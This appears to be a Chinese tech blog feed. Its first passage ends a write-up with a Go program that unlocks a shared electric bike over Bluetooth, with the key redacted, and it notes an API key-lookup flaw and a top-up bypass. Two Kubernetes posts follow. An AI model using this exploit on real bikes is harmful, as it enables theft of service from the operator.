encryptedStr <span style="color:#ff7b72;font-weight:bold">==</span> machineNo { </span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Printf</span>(<span style="color:#a5d6ff">&#34;%s - %s - %s\n&#34;</span>, a.<span style="color:#d2a8ff;font-weight:bold">LocalName</span>(), a.<span style="color:#d2a8ff;font-weight:bold">Addr</span>().<span style="color:#d2a8ff;font-weight:bold">String</span>(), encryptedStr) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span> </span></span><span style="display:flex;"><span> }) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> services, err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">DiscoverServices</span>(<span style="color:#79c0ff">nil</span>) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> targetService <span style="color:#ff7b72;font-weight:bold">*</span>ble.Service </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, service <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> services { </span></span><span style="display:flex;"><span> service <span style="color:#ff7b72;font-weight:bold">:=</span> service </span></span><span style="display:flex;"><span> uuid <span style="color:#ff7b72;font-weight:bold">:=</span> service.UUID.<span style="color:#d2a8ff;font-weight:bold">String</span>() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> uuid <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">&#34;fef6&#34;</span> { </span></span><span style="display:flex;"><span> targetService = service </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> characteristics, err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">DiscoverCharacteristics</span>(<span style="color:#79c0ff">nil</span>, targetService) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> readCharacteristic <span style="color:#ff7b72;font-weight:bold">*</span>ble.Characteristic </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> writeCharacteristic <span style="color:#ff7b72;font-weight:bold">*</span>ble.Characteristic </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, characteristic <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> characteristics { </span></span><span style="display:flex;"><span> characteristic <span style="color:#ff7b72;font-weight:bold">:=</span> characteristic </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> characteristic.Property <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">18</span> { </span></span><span style="display:flex;"><span> readCharacteristic = characteristic </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> characteristic.Property <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">22</span> { </span></span><span style="display:flex;"><span> writeCharacteristic = characteristic </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// 18 - read, 20 - write</span> </span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Println</span>(characteristic.UUID.<span style="color:#d2a8ff;font-weight:bold">String</span>()) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">Subscribe</span>(readCharacteristic, <span style="color:#79c0ff">false</span>, <span style="color:#ff7b72">func</span>(req []<span style="color:#ff7b72">byte</span>) { </span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Println</span>(<span style="color:#a5d6ff">&#34;response: &#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> string(req)) </span></span><span style="display:flex;"><span> }); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> unlock <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">byte</span>{<span style="color:#a5d6ff">170</span>, <span style="color:#a5d6ff">&#39;R&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">&#39;A&#39;</span>, <span style="color:#a5d6ff">&#39;C&#39;</span>, <span style="color:#a5d6ff">&#39;T&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">3</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">2</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">0</span>} </span></span><span style="display:flex;"><span> lock <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">byte</span>{<span style="color:#a5d6ff">170</span>, <span style="color:#a5d6ff">&#39;R&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">&#39;A&#39;</span>, <span style="color:#a5d6ff">&#39;C&#39;</span>, <span style="color:#a5d6ff">&#39;T&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">3</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">1</span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> heartBeats <span style="color:#ff7b72;font-weight:bold">:=</span> [][]<span style="color:#ff7b72">byte</span>{ </span></span><span style="display:flex;"><span> {<span style="color:#a5d6ff">170</span>, <span style="color:#a5d6ff">&#39;R&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">&#39;A&#39;</span>, <span style="color:#a5d6ff">&#39;C&#39;</span>, <span style="color:#a5d6ff">&#39;T&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">2</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">1</span>, <span style="color:#a5d6ff">32</span>, <span style="color:#a5d6ff">10</span>, <span style="color:#a5d6ff">172</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">246</span>, <span style="color:#a5d6ff">82</span>, <span style="color:#a5d6ff">185</span>, <span style="color:#a5d6ff">236</span>, <span style="color:#a5d6ff">169</span>, <span style="color:#a5d6ff">10</span>}, </span></span><span style="display:flex;"><span> {<span style="color:#a5d6ff">216</span>, <span style="color:#a5d6ff">&#39;R&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">&#39;A&#39;</span>, <span style="color:#a5d6ff">&#39;C&#39;</span>, <span style="color:#a5d6ff">&#39;T&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">130</span>, <span style="color:#a5d6ff">42</span>, <span style="color:#a5d6ff">86</span>, <span style="color:#a5d6ff">39</span>, <span style="color:#a5d6ff">22</span>, <span style="color:#a5d6ff">190</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">18</span>, <span style="color:#a5d6ff">174</span>, <span style="color:#a5d6ff">90</span>, <span style="color:#a5d6ff">66</span>, <span style="color:#a5d6ff">71</span>, <span style="color:#a5d6ff">56</span>}, </span></span><span style="display:flex;"><span> {<span style="color:#a5d6ff">135</span>, <span style="color:#a5d6ff">160</span>, <span style="color:#a5d6ff">58</span>, <span style="color:#a5d6ff">30</span>}, </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> data []<span style="color:#ff7b72">byte</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> mode <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">&#34;lock&#34;</span> { </span></span><span style="display:flex;"><span> data = lock </span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> { </span></span><span style="display:flex;"><span> data = unlock </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> payloads <span style="color:#ff7b72;font-weight:bold">:=</span> append(heartBeats, data) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, p <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> payloads { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(writeCharacteristic, p, <span style="color:#79c0ff">true</span>); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> time.<span style="color:#d2a8ff;font-weight:bold">Sleep</span>(<span style="color:#a5d6ff">200</span> <span style="color:#ff7b72;font-weight:bold">*</span> time.Millisecond) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">CancelConnection</span>(); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">&lt;-</span>client.<span style="color:#d2a8ff;font-weight:bold">Disconnected</span>() </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>编译运行该 Go 程序,程序蓝牙找到共享电单车然后就开锁了~</p> <div class="container"> <div id="player-wrapper" class=""></div> </div> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/@clappr/player@latest/dist/clappr.min.js"> </script> <script> var playerElement = document.getElementById("player-wrapper"); var player = new Clappr.Player({ source: "/images/2023/08/hack-electric-bicycle.mp4", mute: true, height: 360, width: 640 }); player.attachTo(playerElement); </script> <p>效果还是相当帅的。</p> <h2 id="最后说几句">最后说几句</h2> <p>所以综上,这个共享电单车最大的问题就是那个查询车辆秘钥的接口存在水平越权,可以获取任意车辆的秘钥进行开锁,而没有确认用户的支付状态。之前也尝试看过酒店房间里的蓝牙自动贩卖机,有的是会校验商品的购买状态,并且每一次开锁的 Secret 都会变,有的就无脑中间人抓包改下就行,连 Secret 都没有。 同时,文章开头提到的小程序 20 元起充,其实抓个包也能很简单的 bypass。</p> <p>但我是遵纪守法的好市民,我现在出门也还是老老实实地扫码充值骑车哦,等后面买车了其实也用不上那些共享电单车了。嘻嘻。</p> <p>话说我搞完这些后,抬回家的共享电单车一直停在楼道懒得再抬下去还掉。拖到最后,这块片区的运营给我的手机又是发短信又是电话,问我住哪,然后亲自上来把停在楼道的电单车搬走了,给我吓得以为来查水表了。看来私自改车锁车藏车在他们眼里已经见怪不怪了&hellip;&hellip;</p>我只是想要一个简单轻量的 K8s 镜像预热而已!https://github.red/forklift/Thu, 16 Mar 2023 03:34:07 +0800https://github.red/forklift/<p>最近一个多月,我的生活发生了很大的变动。2 月 15 日因为一直以来积攒的情绪,心情很差。那天深夜我提了离职,离开了从零开始一直干了两年多的公司。</p> <p>后面又是因为一些不方便明说的原因,经营了两年多的 NekoBox 被迫关站。之后我会针对这个事情专门写一篇文章,说明背后到底发生了什么,以及分享这两年来的心得体会,同时给之前老用户提供数据存档取回的渠道。整件事情发生的挺突然的,对我而言也算是一种人生体验吧,哈哈。</p> <p>今天想要分享的,是 Cardinal Pro 平台在今年 HGAME 2023 比赛时遇到的一个问题,以及我给出的解决方案,可能不是很完善,还请各位多多指点。</p> <h2 id="诶我新加的节点怎么不能用">诶?我新加的节点怎么不能用?!</h2> <p>今年的 HGAME 2023 是协会第一次使用我开发的 Cardinal Pro 平台举办,相比之前使用 PHP 开发的平台,最大的特色就是平台支持基于 Kubernetes 动态启停选手独享靶机,相比之前由出题人单独使用各自的学生机部署共享题目环境,有了质的飞跃。</p> <blockquote> <p>这里插播一条广告,如果你有相关比赛 / 培训需求,想使用 Cardinal Pro 商业竞赛平台,欢迎联系<a href="https://lwsec.cn/">杭州凌武科技</a>~</p></blockquote> <p>跟往年的协会寒假招新赛一样,HGAME 2023 是一个长达一个月的比赛,细分为四周单独计算排名,对应到比赛平台里就是四场比赛。参赛人数也是逐周递减,能坚持到最后的新生,才有可能挺进最后的总决赛。所以对于平台而言,我们要应对的就是比赛刚开始时第一周的突发流量以及选手动态靶机开启需求。</p> <p>在第一周的时候,运维的同学查看集群状态发现集群内 Pod 数量较多,节点相对压力较大,因此新加了一个节点进集群。相对应的,后面开启的题目靶机也就会被 K8s 优先调度到新开的空闲节点上。然后问题就出现了 —— 平台上选手题目环境一直开不起来,最后超过设置的超时时间,前端返回报错。 经过排查发现,是因为本次比赛为了尽可能的节约成本,集群大多使用边缘节点,有一些节点的网络环境可能偶尔抽风,导致无法连接上镜像源拉取镜像。当时临时的解决方案是重新换了其他网络正常的边缘节点拉取。</p> <p>后来讨论了下,认为集群内需要有个镜像预热的功能,提前将需要用到的镜像拉取到本地。因为流量高峰就是在比赛初期,这时往往也是第一次拉取镜像,一炸就会炸一片很影响用户体验。</p> <h2 id="现有的轮子太重了">现有的轮子太重了</h2> <p>搜索了下相关的资料,发现阿里开源的 <a href="https://d7y.io/">Dragonfly</a> 和 <a href="https://openkruise.io/">Openkruise</a> 项目都支持镜像预热的功能。</p> <h3 id="dragonfly">Dragonfly</h3> <p>Dragonfly 是作为一个 P2P 文件分发系统被设计出来,最初的目的是为了支撑双十一背后的服务器间大规模的文件分发需求。而容器镜像本质上也是存在磁盘上的一层层文件,所以也就顺带支持了。具体的介绍文章可以看这篇:<a href="https://developer.aliyun.com/article/244897">《直击阿里双11神秘技术:PB级大规模文件分发系统“蜻蜓”》</a>。 但是当我正准备选择搭建 Dragonfly 时,我发现这东西搭起来咋还需要 Redis 和 MySQL???以及它对于 Docker 运行时的镜像分发,还需要我编辑 <code>/etc/docker/daemon.json</code> 文件添加私有的镜像源并重启 Docker 运行时。 这种侵入式太强的配置我并不喜欢,因此放弃了使用 Dragonfly。</p> <h3 id="openkruise">Openkruise</h3> <p>我在我自己的集群里使用了 Openkruise 来给 Elaina 代码运行器做容器预热,相比 Dragonfly 的自己启动了一个 HTTP 代理作为私有镜像源,Openkruise 则是定义了一个名为 <code>ImagePullJob</code> 的 CRD (Custom Resource Define) 定制资源用于描述镜像预热的策略。我可以指定拉取镜像的名称以及拉取策略,Openkruise 默认会在每天零点检查一遍是否有镜像没有拉取。 在部署上,也只是一个 Controller Pod,然后在每个节点上 DaemonSet 都起一个 Daemon Pod,相对来说比较轻量。 但是就比赛平台来说,每次出题人上传了一道题目,就要手动创建一个 <code>ImagePullJob</code> 资源来配置这个题目的镜像预热。这个工作交给运维的同学手动来做不太合适,直接耦合进平台让它去参与管理 Openkruise 的资源也不优雅。 况且 Openkruise 仅仅只是自动从镜像源拉取镜像罢了,遇到上文提到的节点本身网络有问题,连不上镜像仓库,还是无解。</p> <h2 id="集装箱叉车启动">集装箱叉车启动!</h2> <p>综上,我想要的仅仅只是一个简单轻量,能在集群节点间同步指定命名空间内 Pod 镜像的组件。所以就有了 forklift 这么一个项目:<a href="https://github.com/wuhan005/forklift">https://github.com/wuhan005/forklift</a> ,forklift 的中文翻译是叉车,也就是港口码头用来搬运集装箱的那玩意,用在这里还挺贴切的。</p> <p>先放一张我粗略画得架构图,然后我再来详细分享下它的一些实现细节:</p> <p><img src="https://github.red/images/2023/03/forklift-architecture.png" alt=""></p> <p>同 Openkruise 一样,我会在集群里的一台节点上部署一个 <code>forklift-controller</code> 作为主的控制器,这台节点也就担任起了从外部拉取镜像并分发的工作。实际在生产中我们可以用 Node Selector 来指定一台网络好磁盘大的节点作为 Controller。 所有的节点上都会部署一个 <code>forklift-daemonset</code> 用于定时轮询 controller,与自己本地已有的镜像做对比,看是否有缺失的镜像需要拉取。如果需要拉取则去请求 controller。</p> <p>不论是 <code>forklift-controller</code> 还是 <code>forklift-daemonset</code>,它们为了能操作自身节点宿主机上的容器运行时,因此都是部署为特权容器,并且能访问到宿主机的进程。具体的宿主机命令执行方式可以阅读我之前的文章:<a href="https://github.red/kubectl-exec-as-root/#%E4%BB%A3%E7%A0%81%E8%BF%98%E6%98%AF%E5%BE%97%E5%86%99%E7%9A%84%EF%BC%8C%E8%AF%A5%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3%E5%91%A2%EF%BC%9F">《呜哇!你这 kubectl exec 怎么不能指定用户呀?》</a> 同时还要挂在一个带集群 Pods 列出查看权限的 ServiceAccount Token 到 Pod 内,因为需要获取指定命名空间下的 Pod 镜像信息。</p> <h3 id="forklift-controller">forklift-controller</h3> <p>对于 Controller 而言,用户通过在 ConfigMap 中指定需要同步镜像的命名空间,ConfigMap 以配置文件的形式被挂载到容器中。Controller 读取配置后,启动一个简单的 HTTP 服务,根路由 <code>/</code> 返回指定命名空间下的所有 Pods 镜像。 <code>/load</code> 路由根据传入的镜像名,返回镜像文件包。如果 Controller 节点上事先不含这个镜像,那么它会操作宿主机执行 <code>docker pull</code> 命令去拉取;之后再 <code>docker export</code> 到宿主机,导出后宿主机执行 <code>docker cp</code> 复制镜像的 Tar 包到 Pod 的容器内,最后在 HTTP 响应中返回。</p> <p>这里有一个比较蛋疼的点:我在执行 <code>docker cp</code> 命令时,完整的命令如:<code>docker cp /tmp/image.tar &lt;containerID&gt;:/tmp</code>,其中的 <code>&lt;containerID&gt;</code>,也就是容器 ID,应该如何正确的获取呢? 在网上找了一圈,得到的办法也只有一条条遍历筛选当前 Pod 的 <code>ContainerStatuses</code>,找到 Name 为当前容器名的 Status 记录,再读取这条记录中的 ContianerID 字段,真的是有够暴力的。 那么我又怎么得知当前 <code>forklift-controller</code> Pod 在集群内的名字呢?答案是通过读取 <code>HOSTNAME</code> 主机名环境变量!</p> <p>这些方法不知为何总给人一种不是那么可靠的感觉&hellip;.. 如果你有更好的办法,欢迎指出。</p> <h3 id="forklift-daemonset">forklift-daemonset</h3> <p>Daemonset 则会每五分钟请求一次 <code>forklift-controller</code> 的 HTTP 服务,获取需要拉取的镜像列表,同时与自己节点上的镜像进行对比。发现有自身不存在的镜像,则去请求 <code>/load</code> 接口下载获取。整个过程与 Controller 刚好是相反的,Daemonset 下载完镜像到 Pod 容器后,操作宿主机执行类似 <code>docker cp &lt;containerID&gt; /tmp/image.tar</code> 的命令复制下载后的镜像 Tar 包到宿主机,之后执行 <code>docker load</code> 导入。</p> <p>这样的 <code>docker export</code> 和 <code>docker load</code> 镜像导出再导入的办法,可以保证镜像的名称绝对不会有问题。不像 Dragonfly 从自己启动的代理镜像源拉取镜像,拉取的镜像名称前面的 Host 会是代理镜像源 URL 中的。</p> <p>目前 forklift 仅支持 Docker 这一个 CRI,我留了一个 Interface,用于实现之后的 containerd 等其它运行时,其实也就把其它运行时的镜像列表、拉取、导入导出给实现就行了,本质上还是去宿主机上执行命令调各种 CLI。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">type</span> CRI <span style="color:#ff7b72">interface</span> { </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">ListImages</span>(ctx context.Context) ([]<span style="color:#ff7b72;font-weight:bold">*</span>Image, <span style="color:#ff7b72">error</span>) </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">PullImage</span>(ctx context.Context, image <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">error</span> </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">LoadImage</span>(ctx context.Context, image, sourcePath <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">error</span> </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">ExportImage</span>(ctx context.Context, image, destPath <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">error</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h2 id="我该怎么愉快的开发调试">我该怎么愉快的开发调试?</h2> <p>以上就是 forklift 的大致原理,听起来确实很简单易懂,但是我在本地开发的时候却疯狂抓耳挠腮。不在集群环境里开发集群组件,“如何在本地方便的调试?”成了我的一个大难题。 我咨询了下在上海某司做开源 K8s CI/CD 产品的同学,他说他们调试就是代码写完后跑自动化 CI 打包 Dockerfile 部署到集群里看。所以在那之前也会有意识地在代码里多输出日志,因为部署一次的时间周期挺长,最好争取一次搞定。这种行为在我听来十分的荒唐,我想我大概知道他们活干得慢人手不够的原因了&hellip;&hellip;</p> <p>偶然的一次,我刷到了一篇公众号文章 <a href="https://mp.weixin.qq.com/s/maI6Nu6r431LtGzrgq_6rg">《为什么在 Kubernetes 中调试应用的体验如此糟糕?》</a> ,文中介绍了 Telepresence 这么一个项目。它以部署 Sidecar 的形式,拦截集群中发送至指定 Pod 的流量到本地,同时使得本地可以直通集群内部的网络。并且为了避免对线上生产环境造成影响,它还支持设置带上指定的 HTTP Header 后才触发流量拦截。因此我只需要本地 GoLand 编译代码运行即可。forklift 需要连接线上 K8s API,开启 Telepresence 的话直接使用 <code>https://kubernetes.default/</code> 就能访问,同时 Controller HTTP 服务的 Service,也可以直接在本地进行访问。</p> <p>Telepresence 算是帮我解决了网络上的大难题,至于 ServiceAccount Token 的挂载,就只能在代码里将其写成可配置的,读当前运行路径下的文件了。文件挂载上目前倒确实没有啥更好的办法。(悲</p> <h2 id="让-chatgpt-帮我写-helm-chart">让 ChatGPT 帮我写 Helm Chart</h2> <p>代码写完跑通后,后面就该想想怎么样让用户方便的部署了。我自己的集群一直是在用 ArgoCD 以 Helm Chart 的形式部署各种应用,这次也打算自己试试打包一个自己的 Chart。</p> <p>网上搜索关于 Chart 开发的入门教程,往往都是让你执行如 <code>helm create forklift</code> 这样的命令,创建一个已经包含了 Deployment,Ingress,Service,甚至 HPA 的基础 Chart。这一堆 YAML 再配合上 Go 那反人类的模板语言,直接给人看懵了,完全无从下手。😥 并且它还会给贴心地给你展示一些“高级用法”,比如有个 <code>_helpers.tpl</code> 文件可以定义共用的模块,有个 <code>tests</code> 文件夹给你写个类似于测试一样的东西。但我只是想封个简简单单的 Helm Chart,自己再指定几个参数允许用户自定义而已啊!!!</p> <p>突然,我想到自己在线上集群测试的时候,曾写了几个 YAML 来部署需要用到的各种资源。再加上这段时间写代码没少麻烦 ChatGPT,我就在想能不能让 ChatGPT 帮我基于现有的 YAML,给我生成出 Helm Chat 来。试了下效果还真不错。我们只需要将之前的几个 YAML 全部合并到一个文件中,然后一起喂给 ChatGPT 让它帮忙生成就行。</p> <p>一开始它会比较笼统地告诉你创建 <code>Chart.yaml</code> 和 <code>values.yaml</code> 这两个文件:</p> <p><img src="https://github.red/images/2023/03/forklift-chatgpt-01.png" alt=""></p> <p>但是我们可以继续追问它,让它提供完整的 <code>values.yaml</code> 文件的内容,它会根据前面各种资源的 YAML 定义,比较聪明地判断出哪些是应该暴露到 <code>values.yaml</code> 里提供给用户自定义的。</p> <p><img src="https://github.red/images/2023/03/forklift-chatgpt-02.png" alt=""></p> <p>对于稍微不符合预期的结果,我们可以在自己改了一点之后,再让 ChatGPT 帮我们处理复杂的 Go 模板语言书写:</p> <p><img src="https://github.red/images/2023/03/forklift-chatgpt-03.png" alt=""></p> <p>甚至最后部署到 ArgoCD 的 Application YAML,也可以让它帮你完成!真的很棒!</p> <h3 id="打包">打包</h3> <p>完成了 Helm Chart 的编写后,我们可以运行下 Lint 看看是否有问题:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>helm lint --strict </span></span></code></pre></div><p>没问题后,那就开始打包咯~</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>helm package . </span></span><span style="display:flex;"><span>mv forklift-0.1.0.tgz ./charts <span style="color:#8b949e;font-style:italic"># 移动到 charts 目录下,整齐一些</span> </span></span></code></pre></div><p>最后更新我们的 <code>index.yaml</code> 文件:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>helm repo index . </span></span></code></pre></div><p>至此,你就可以 commit + push 代码了,同时要给对应的 GitHub 仓库开启 GitHub Page。(说实话我不觉得把打包后的 <code>.tgz</code> 文件推上去是个好主意,或许有更好的方法?)</p> <p>我们需要留意 GitHub Page 中对应指向仓库 <code>Chart.yaml</code> 文件的路径。我的这个 <code>forklift</code> 项目路径是放在 <code>./charts</code> 目录下,同时我的 GitHub ID 是 <code>wuhan005</code>,所以当有人要拉取我的 Chart 时填写的 URL 是:</p> <pre tabindex="0"><code class="language-url" data-lang="url">https://wuhan005.github.io/forklift/charts/ </code></pre><h2 id="todos-但愿不咕">TODOs (但愿不咕)</h2> <p>目前我使用 ArgoCD 将 forklift 部署到了我自己的集群中,看起来还是挺稳的。以下是之后的一些 TODOs:</p> <ul> <li>配置文件除了支持按命名空间指定外,还需要支持直接指定镜像名。</li> <li>Controller 的 HTTP 服务是否需要加个凭证鉴权?现在是集群里的其它 Pod 都能通过 Service 访问。</li> <li>Controller 所在的节点上其实没必要再部署一个 Daemonset 自己跟自己玩,纯属浪费。</li> <li>目前配置文件是做成 ConfigMap 挂载进来的,是否考虑挂载文件卷进来,做到像 Prometheus 一样修改文件后请求指定的接口动态读取并刷新配置。</li> </ul> <p>目前能想到的就是这些,如果你在使用过程中发现了什么 bug,也欢迎提 issue 反馈~ 这是我对于 K8s 镜像预热的一个很不成熟的想法,我也不知道它是否有瓶颈,目前还有待生产环境的考验。还请各位多多指点。</p>呜哇!你这 kubectl exec 怎么不能指定用户呀?https://github.red/kubectl-exec-as-root/Wed, 09 Nov 2022 02:07:28 +0800https://github.red/kubectl-exec-as-root/<h2 id="发生什么事了">发生什么事了?</h2> <p>最近在写集群相关的 Side Project,主要是使用 Kubernetes 的 Go SDK 进行开发。其中有个功能需要在 Pod 启动完成后在 Pod 的容器中执行命令。</p> <p>但在使用 Go SDK 执行命令这里就有一个坑。你会发现在<code>k8sClient.CoreV1().Pod(namespace)</code> 下居然没有形如 <code>Exec()</code> 这样的方法可以使用,GitHub Copilot 也直接在这里傻掉了不知道如何补全。 通过翻阅 <code>kubectl</code> 源码中关于 <code>exec</code> 子命令实现,我找到了这个:<a href="https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/kubectl/pkg/cmd/exec/exec.go#L353-L366">src/k8s.io/kubectl/pkg/cmd/exec/exec.go#L353-L366</a></p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// TODO: consider abstracting into a client invocation or client helper</span> </span></span><span style="display:flex;"><span>req <span style="color:#ff7b72;font-weight:bold">:=</span> restClient.<span style="color:#d2a8ff;font-weight:bold">Post</span>(). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Resource</span>(<span style="color:#a5d6ff">&#34;pods&#34;</span>). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Name</span>(pod.Name). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Namespace</span>(pod.Namespace). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">SubResource</span>(<span style="color:#a5d6ff">&#34;exec&#34;</span>) </span></span><span style="display:flex;"><span>req.<span style="color:#d2a8ff;font-weight:bold">VersionedParams</span>(<span style="color:#ff7b72;font-weight:bold">&amp;</span>corev1.PodExecOptions{ </span></span><span style="display:flex;"><span> Container: containerName, </span></span><span style="display:flex;"><span> Command: p.Command, </span></span><span style="display:flex;"><span> Stdin: p.Stdin, </span></span><span style="display:flex;"><span> Stdout: p.Out <span 